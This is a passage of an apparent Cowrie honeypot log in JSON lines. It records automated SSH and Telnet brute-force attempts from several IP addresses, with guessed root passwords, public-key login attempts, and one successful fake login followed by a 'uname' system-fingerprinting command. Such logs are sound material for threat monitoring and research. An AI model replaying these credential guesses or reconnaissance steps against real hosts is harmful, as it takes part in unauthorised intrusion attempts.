h-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:48.952336Z","src_ip":"193.32.162.145","session":"fcfc81f0defe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"sol","password":"solana","message":"login attempt [sol/solana] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:49.264493Z","src_ip":"193.32.162.145","session":"fcfc81f0defe","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:49.547204Z","src_ip":"193.32.162.145","session":"fcfc81f0defe","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:49.550557Z","src_ip":"193.32.162.145","session":"fcfc81f0defe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:49.657226Z","src_ip":"193.32.162.145","session":"fcfc81f0defe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:49.662872Z","src_ip":"193.32.162.145","session":"fcfc81f0defe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":53890,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a21e71c92b5","protocol":"ssh","message":"New connection: 103.173.227.57:53890 (10.17.0.5:22) [session: 2a21e71c92b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:59.379654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:59.385201Z","src_ip":"103.173.227.57","session":"2a21e71c92b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:59.624010Z","src_ip":"103.173.227.57","session":"2a21e71c92b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"timur","message":"login attempt [root/timur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:15:00.344085Z","src_ip":"103.173.227.57","session":"2a21e71c92b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:15:01.585908Z","src_ip":"103.173.227.57","session":"2a21e71c92b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37110,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e2748214e51","protocol":"telnet","message":"New connection: 152.42.224.71:37110 (10.17.0.5:23) [session: 7e2748214e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:15:05.667848Z"}
{"eventid":"cowrie.session.closed","duration":43.24169564247131,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:15:23.829220Z","src_ip":"152.42.224.71","session":"8836f3265303","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00119757652283,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:15:24.100276Z","src_ip":"152.42.224.71","session":"f4d9918638fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.875097513198853,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:15:31.542791Z","src_ip":"152.42.224.71","session":"7e2748214e51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60918,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c84915bb30f","protocol":"telnet","message":"New connection: 152.42.224.71:60918 (10.17.0.5:23) [session: 2c84915bb30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:15:34.621117Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":54556,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c8a19b72d16","protocol":"ssh","message":"New connection: 103.15.222.183:54556 (10.17.0.5:22) [session: 5c8a19b72d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:15:46.822161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:15:46.827567Z","src_ip":"103.15.222.183","session":"5c8a19b72d16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:15:47.078218Z","src_ip":"103.15.222.183","session":"5c8a19b72d16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"krokodil","message":"login attempt [root/krokodil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:15:47.828807Z","src_ip":"103.15.222.183","session":"5c8a19b72d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:15:49.082123Z","src_ip":"103.15.222.183","session":"5c8a19b72d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49032,"dst_ip":"10.17.0.5","dst_port":23,"session":"453742be2596","protocol":"telnet","message":"New connection: 152.42.224.71:49032 (10.17.0.5:23) [session: 453742be2596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:15:51.343329Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":56118,"dst_ip":"10.17.0.5","dst_port":22,"session":"bba9de889511","protocol":"ssh","message":"New connection: 51.250.105.222:56118 (10.17.0.5:22) [session: bba9de889511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:03.577797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:03.587328Z","src_ip":"51.250.105.222","session":"bba9de889511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:03.718261Z","src_ip":"51.250.105.222","session":"bba9de889511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147369","message":"login attempt [root/147369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:04.113291Z","src_ip":"51.250.105.222","session":"bba9de889511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:05.247240Z","src_ip":"51.250.105.222","session":"bba9de889511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.04465985298157,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:07.562446Z","src_ip":"152.42.224.71","session":"acdf5a822da1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.201.140.251","src_port":60872,"dst_ip":"10.17.0.5","dst_port":22,"session":"28e545f08780","protocol":"ssh","message":"New connection: 195.201.140.251:60872 (10.17.0.5:22) [session: 28e545f08780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:11.106744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:11.112545Z","src_ip":"195.201.140.251","session":"28e545f08780","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:11.209849Z","src_ip":"195.201.140.251","session":"28e545f08780","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:18:92:c9:44:7c:3e:d0:39:5e:cf:ed:69:12:27:1e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPvMbarSK0+ddEu6kq7ggvyvC+7i6R9Um2uEdWBHSz9W","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint cc:18:92:c9:44:7c:3e:d0:39:5e:cf:ed:69:12:27:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:11.673228Z","src_ip":"195.201.140.251","session":"28e545f08780","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:18:92:c9:44:7c:3e:d0:39:5e:cf:ed:69:12:27:1e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPvMbarSK0+ddEu6kq7ggvyvC+7i6R9Um2uEdWBHSz9W","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:11.676577Z","src_ip":"195.201.140.251","session":"28e545f08780","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:36:69:a2:b9:5a:d0:b1:9b:2a:0c:b6:90:d1:e8:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnuNqRfpnmWYr0yShuhikZfuRvesKRBvr3u6uJ9uhFVwF0CE5ML5TMitLFnmvD8LxJmEr5TNT4/wb7be2m5mal0xnexSwieC+gGELS4vIz218bPaY1ryQERjMkMIDFM08ovHBvK6cGIN696DJC5CLjQlTQu+0bSmkUchho+jpgFW7jENJtZQh6FwuzM9iNFldHLpKUpM61ESASDw11z5vdirrFmqwul0CN3+ohhp2H4NN/knqYWhxs/lqJRVmmWteB3DxByIo6VAqwVGpj3TOVGZ/d33LlV/N8153Z006KTaJRhzme2ZfkrZZROqOZkvomYeS3n8cOhe/++OR+KmpN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:36:69:a2:b9:5a:d0:b1:9b:2a:0c:b6:90:d1:e8:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:11.779433Z","src_ip":"195.201.140.251","session":"28e545f08780","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:36:69:a2:b9:5a:d0:b1:9b:2a:0c:b6:90:d1:e8:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnuNqRfpnmWYr0yShuhikZfuRvesKRBvr3u6uJ9uhFVwF0CE5ML5TMitLFnmvD8LxJmEr5TNT4/wb7be2m5mal0xnexSwieC+gGELS4vIz218bPaY1ryQERjMkMIDFM08ovHBvK6cGIN696DJC5CLjQlTQu+0bSmkUchho+jpgFW7jENJtZQh6FwuzM9iNFldHLpKUpM61ESASDw11z5vdirrFmqwul0CN3+ohhp2H4NN/knqYWhxs/lqJRVmmWteB3DxByIo6VAqwVGpj3TOVGZ/d33LlV/N8153Z006KTaJRhzme2ZfkrZZROqOZkvomYeS3n8cOhe/++OR+KmpN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:11.784038Z","src_ip":"195.201.140.251","session":"28e545f08780","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:17:d8:4d:dd:96:f7:40:10:f0:14:51:32:c9:a2:81","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICbOwIhhx+rPGAxSSnHuiZl8z7/xBvRYHeixZmomyVoR","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 9f:17:d8:4d:dd:96:f7:40:10:f0:14:51:32:c9:a2:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:11.880037Z","src_ip":"195.201.140.251","session":"28e545f08780","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:17:d8:4d:dd:96:f7:40:10:f0:14:51:32:c9:a2:81","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICbOwIhhx+rPGAxSSnHuiZl8z7/xBvRYHeixZmomyVoR","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:11.884975Z","src_ip":"195.201.140.251","session":"28e545f08780","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:f8:5e:70:16:b8:69:85:01:c1:f7:ff:59:96:ed:f3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhUxhEsRAnQljYsZK570JV9ShHYwfUPw4nI4UNW2LZz","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 02:f8:5e:70:16:b8:69:85:01:c1:f7:ff:59:96:ed:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:11.981244Z","src_ip":"195.201.140.251","session":"28e545f08780","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:f8:5e:70:16:b8:69:85:01:c1:f7:ff:59:96:ed:f3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhUxhEsRAnQljYsZK570JV9ShHYwfUPw4nI4UNW2LZz","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:11.985978Z","src_ip":"195.201.140.251","session":"28e545f08780","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:40:ab:59:86:07:0f:72:ee:ae:65:c7:ef:a1:14:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYwzt4yXtdTrtxuoXK7IQMEzLO+rqLHC0rDXOJN3osC8Eidn8BD6SrVZbZwmSjxuCyY1UsAjoljM5k3iPOrdpjBOSQ4QK0IdgjKxYmpGYQbnfZSlCTBaWIxVfEmEEwGE0Rt6yOw5nXT06EmQuu7uER/n4z7Z5QaDZx5MHCaRAO+sCIbGzpRPALZ+ZFxfQ3Z48xu9ADTMsb4BgqhBiAxcnBPFH1PVIsLzFIB7ddZVx8E61HO9znuI9UCIN3fsJ39WGxJUbr+z2BSlymzWqlcYE6kesrcKDaAvWHUmiyvr3i4o7HuvN3jioXW0TSGIZXsJewzq13L0+NB6b099O/Qyhv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:40:ab:59:86:07:0f:72:ee:ae:65:c7:ef:a1:14:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:12.084515Z","src_ip":"195.201.140.251","session":"28e545f08780","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:40:ab:59:86:07:0f:72:ee:ae:65:c7:ef:a1:14:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYwzt4yXtdTrtxuoXK7IQMEzLO+rqLHC0rDXOJN3osC8Eidn8BD6SrVZbZwmSjxuCyY1UsAjoljM5k3iPOrdpjBOSQ4QK0IdgjKxYmpGYQbnfZSlCTBaWIxVfEmEEwGE0Rt6yOw5nXT06EmQuu7uER/n4z7Z5QaDZx5MHCaRAO+sCIbGzpRPALZ+ZFxfQ3Z48xu9ADTMsb4BgqhBiAxcnBPFH1PVIsLzFIB7ddZVx8E61HO9znuI9UCIN3fsJ39WGxJUbr+z2BSlymzWqlcYE6kesrcKDaAvWHUmiyvr3i4o7HuvN3jioXW0TSGIZXsJewzq13L0+NB6b099O/Qyhv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:12.088450Z","src_ip":"195.201.140.251","session":"28e545f08780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:12.189677Z","src_ip":"195.201.140.251","session":"28e545f08780","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34760,"dst_ip":"10.17.0.5","dst_port":23,"session":"23253308516e","protocol":"telnet","message":"New connection: 152.42.224.71:34760 (10.17.0.5:23) [session: 23253308516e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:21.524074Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50210,"dst_ip":"10.17.0.5","dst_port":23,"session":"db543c8831e6","protocol":"telnet","message":"New connection: 152.42.224.71:50210 (10.17.0.5:23) [session: db543c8831e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:26.679769Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50218,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f2cf2f86a91","protocol":"telnet","message":"New connection: 152.42.224.71:50218 (10.17.0.5:23) [session: 9f2cf2f86a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:27.685920Z"}
{"eventid":"cowrie.session.closed","duration":46.80741596221924,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:38.150649Z","src_ip":"152.42.224.71","session":"453742be2596","protocol":"telnet"}
